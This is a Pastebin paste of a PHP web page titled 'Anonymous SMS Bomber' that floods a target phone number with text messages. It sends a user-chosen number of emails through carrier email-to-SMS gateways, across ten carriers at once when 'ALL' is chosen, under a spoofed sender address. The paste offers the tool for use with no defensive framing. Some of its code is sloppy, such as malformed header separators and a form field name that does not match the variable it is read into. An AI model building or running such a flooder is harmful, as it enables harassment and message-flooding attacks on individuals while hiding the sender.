Advertisement
Yhuricka1337

SMS BOMBER PHP

Mar 7th, 2018
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.94 KB | None | 0 0
  1. <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN' 'http://www.w3.org/TR/html4/loose.dtd'>
  2. <html>
  3. <head>
  4. <meta http-equiv='Content-type' content='text/html;charset=UTF-8'>
  5. <title>Anonymous SMS Bomber </title>
  6. <style type='text/css'>
  7. body {
  8. font-size: 15px;
  9. font-family: Tahoma;
  10. width: 500px;
  11. color: #006666;
  12. margin: auto auto;
  13. padding-top: 10px;
  14. }
  15. div.head {
  16. font-weight: bolder;
  17. color: #004466;
  18. }
  19. input.main {
  20. border-color: #006666;
  21. border-width: 1px;
  22. border-style: solid;
  23. font-family: Tahoma;
  24. height: 20px;
  25. font-size: 15px;
  26. color: #004466;
  27. }
  28. input.submit {
  29. background-color: #FFFFFF;
  30. border-color: #006666;
  31. border-width: 1px;
  32. border-style: solid;
  33. font-family: Tahoma;
  34. height: 20px;
  35. font-size: 15px;
  36. color: #006666;
  37. }
  38. textarea.main {
  39. border-color: #006666;
  40. border-width: 1px;
  41. border-style: solid;
  42. font-family: Tahoma;
  43. font-size: 15px;
  44. color: #004466;
  45. }
  46. select.main {
  47. border-color: #006666;
  48. border-width: 1px;
  49. border-style: solid;
  50. font-family: Tahoma;
  51. font-size: 15px;
  52. color: #004466;
  53. }
  54. div.italic {
  55. font-style: italic;
  56. }
  57. div.sent {
  58. font-weight: bolder;
  59. }
  60. #form input#to1:focus, input#to2:focus, input#to3:focus, input#from:focus, input#subject:focus, textarea#mess:focus, input#amount:focus {
  61. background-color: #EEEEEE;
  62. font-family: Tahoma;
  63. font-size: 15px;
  64. color: #004466;
  65. }
  66. </style>
  67. </head>
  68. <body>
  69. <div class='head'>SMS Bomber @BrazilObscure</div>
  70. <?
  71. $Blocked_number = "5555555555";
  72. if (!$_POST['send']) {
  73. echo ("
  74. <form method='post' id='form' action=''>
  75. Numero:
  76.  
  77. <input type='text' maxlength='3' onblur=\"if(this.value=='') this.value='555';\" onfocus=\"if(this.value=='555') this.value='';\" name='to1' class='main' value='555' id='to1' size='2' onkeypress='var k = event.keyCode ? event.keyCode : event.charCode ? event.charCode : event.which; return /[^A-Za-z]/.test( String.fromCharCode(k) );'> -
  78. <input type='text' maxlength='3' onblur=\"if(this.value=='') this.value='555';\" onfocus=\"if(this.value=='555') this.value='';\" name='to2' class='main' value='555' id='to2' size='2' onkeypress='var k = event.keyCode ? event.keyCode : event.charCode ? event.charCode : event.which; return /[^A-Za-z]/.test( String.fromCharCode(k) );'> -
  79. <input type='text' maxlength='4' onblur=\"if(this.value=='') this.value='5555';\" onfocus=\"if(this.value=='5555') this.value='';\" name='to3' class='main' value='5555' id='to3' size='2' onkeypress='var k = event.keyCode ? event.keyCode : event.charCode ? event.charCode : event.which; return /[^A-Za-z]/.test( String.fromCharCode(k) );'>
  80.  
  81. Portador:
  82.  
  83. <select class='main' name='portador' id='portador'>
  84. <option>ALL</option>
  85. <option>tmobile</option>
  86. <option>cingular</option>
  87. <option>virgin-mobile</option>
  88. <option>sprint</option>
  89. <option>verizon</option>
  90. <option>nextel</option>
  91. <option>att</option>
  92. <option>boost-mobile</option>
  93. <option>alltel</option>
  94. <option>optus</option>
  95. </select>
  96.  
  97. From:
  98.  
  99. <input type='text' onblur=\"if(this.value=='') this.value=' From';\" onfocus=\"if(this.value==' From') this.value='';\" name='from' class='main' value=' From' id='from'>
  100.  
  101. Subject:
  102.  
  103. <input type='text' onblur=\"if(this.value=='') this.value=' Subject';\" onfocus=\"if(this.value==' Subject') this.value='';\" name='sub' class='main' value=' Subject' id ='subject'>
  104.  
  105. Message:
  106.  
  107. <textarea name='mess' class='main' onblur=\"if(this.value=='') this.value=' Your Message';\" onfocus=\"if(this.value==' Your Message') this.value='';\" cols='45' rows='10' id='mess'> Your Message</textarea>
  108.  
  109. <label for='amount'>Amount to Send: </label>
  110.  
  111. <input type='text' onblur=\"if(this.value=='') this.value=' Amount';\" onfocus=\"if(this.value==' Amount') this.value='';\" name='amount' class='main' value=' Amount' id='amount'>
  112.  
  113. <input type='submit' name='send' value='Send' class='submit'>
  114. </form>");
  115. } else {
  116. if (isset($_POST['amount']) && (!is_numeric($_POST['amount']))){
  117. echo "
  118. <b>Invalid Request.</b>
  119. <br/>
  120.  
  121. <input type='submit' value='Try Again' onClick='javascript:history.go(-1)' class='submit'>";
  122. exit;
  123. }
  124. if ($_POST['sub'] == " Subject" OR $_POST['mess'] == " Your Message" OR $_POST['from'] == " From" OR $_POST['amount'] == " Amount"){
  125. echo "
  126. <b>Invalid Request.</b>
  127.  
  128. <input type='submit' value='Try Again' onClick='javascript:history.go(-1)' class='submit'>";
  129. exit;
  130. }
  131. if (!is_numeric($_POST['to1']) OR !is_numeric($_POST['to2']) OR !is_numeric($_POST['to3'])) {
  132. echo "
  133. <b>Invalid Request.</b>
  134.  
  135. <input type='submit' value='Try Again' onClick='javascript:history.go(-1)' class='submit'>";
  136. exit;
  137. }
  138. if ("$to1$to2$to3" == '$Blocked_number') {
  139. echo "
  140. <b>Invalid Request.</b>
  141.  
  142. <input type='submit' value='Try Again' onClick='javascript:history.go(-1)' class='submit'>";
  143. exit;
  144. }
  145. $to1 = stripslashes($_POST['to1']);
  146. $to2 = stripslashes($_POST['to2']);
  147. $to3 = stripslashes($_POST['to3']);
  148. $sub = stripslashes($_POST['sub']);
  149. $mess = nl2br(stripslashes($_POST['mess']));
  150. $carrier = stripslashes($_POST['carrier']);
  151. $from1 = stripslashes($_POST['from']);
  152. $from = "$from1@mobile.com <$from1@mobile.com>";
  153. $amount = stripslashes($_POST['amount']);
  154. $headers = 'MIME-Version: 1.0' . ">br /<";
  155. $headers .= 'Content-Type: text/html; charset="iso-8859-1" ' . ">br /<";
  156. $headers .= 'Content-Transfer-Encoding: 8bit' . ">br /<";
  157. $headers .= "from: ".$from;
  158. if ($carrier == cingular) {
  159. for ($i=1; $i<=$amount; $i++){
  160. mail("$to1$to2$to3@cingularme.com", "$sub", $mess, $headers);
  161. }
  162. } elseif ($carrier == tmobile) {
  163. for ($i=1; $i<=$amount; $i++){
  164. mail("$to1$to2$to3@tmomail.net", "$sub", $mess, $headers);
  165. }
  166. }
  167. if ($carrier == virgin-mobile) {
  168. for ($i=1; $i<=$amount; $i++){
  169. mail("$to1$to2$to3@vmobl.com", "$sub", $mess, $headers);
  170. }
  171. } elseif ($carrier == sprint) {
  172. for ($i=1; $i<=$amount; $i++){
  173. mail("$to1$to2$to3@messaging.sprintpcs.com", "$sub", $mess, $headers);
  174. }
  175. }
  176. if ($carrier == verizon) {
  177. for ($i=1; $i<=$amount; $i++){
  178. mail("$to1$to2$to3@vtext.com", "$sub", $mess, $headers);
  179. }
  180. } elseif ($carrier == nextel) {
  181. for ($i=1; $i<=$amount; $i++){
  182. mail("$to1$to2$to3@messaging.nextel.com", "$sub", $mess, $headers);
  183. }
  184. }
  185. if ($carrier == att) {
  186. for ($i=1; $i<=$amount; $i++){
  187. mail("$to1$to2$to3@mms.att.net", "$sub", $mess, $headers);
  188. }
  189. } elseif ($carrier == boost-mobile) {
  190. for ($i=1; $i<=$amount; $i++){
  191. mail("$to1$to2$to3@myboostmobile.com", "$sub", $mess, $headers);
  192. }
  193. }
  194. if ($carrier == alltel) {
  195. for ($i=1; $i<=$amount; $i++){
  196. mail("$to1$to2$to3@message.alltel.com", "$sub", $mess, $headers);
  197. }
  198. } elseif ($carrier == optus) {
  199. for ($i=1; $i<=$amount; $i++){
  200. mail("$to1$to2$to3@optusmobile.com.au", "$sub", $mess, $headers);
  201. }
  202. }
  203. if ($carrier == ALL) {
  204. for ($i=1; $i<=$amount; $i++){
  205. mail("$to1$to2$to3@cingularme.com", "$sub", $mess, $headers);
  206. mail("$to1$to2$to3@tmomail.net", "$sub", $mess, $headers);
  207. mail("$to1$to2$to3@vmobl.com", "$sub", $mess, $headers);
  208. mail("$to1$to2$to3@messaging.sprintpcs.com", "$sub", $mess, $headers);
  209. mail("$to1$to2$to3@vtext.com", "$sub", $mess, $headers);
  210. mail("$to1$to2$to3@messaging.nextel.com", "$sub", $mess, $headers);
  211. mail("$to1$to2$to3@mms.att.net", "$sub", $mess, $headers);
  212. mail("$to1$to2$to3@myboostmobile.com", "$sub", $mess, $headers);
  213. mail("$to1$to2$to3@message.alltel.com", "$sub", $mess, $headers);
  214. mail("$to1$to2$to3@optusmobile.com.au", "$sub", $mess, $headers);
  215. }
  216. }
  217. $mess_echo = str_ireplace("", "|", "$mess");
  218. $to = "$to1-$to2-$to3";
  219. echo ("
  220. <div class='italic'>Your SMS has been sent <b>".$amount."</b> times!</div>
  221.  
  222. To: <div class='sent'>".htmlentities($to)."</div>
  223.  
  224. From: <div class='sent'>".htmlentities($from1)."</div>
  225.  
  226. Subject: <div class='sent'>".htmlentities($sub)."</div>
  227.  
  228. Message: <div class='sent'>".htmlentities($mess_echo)."</div>
  229.  
  230. <input type='submit' value='Send More' onClick='javascript:history.go(-1)' class='submit'>
  231.  
  232. ");
  233. }
  234. ?>
  235. </body>
  236. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement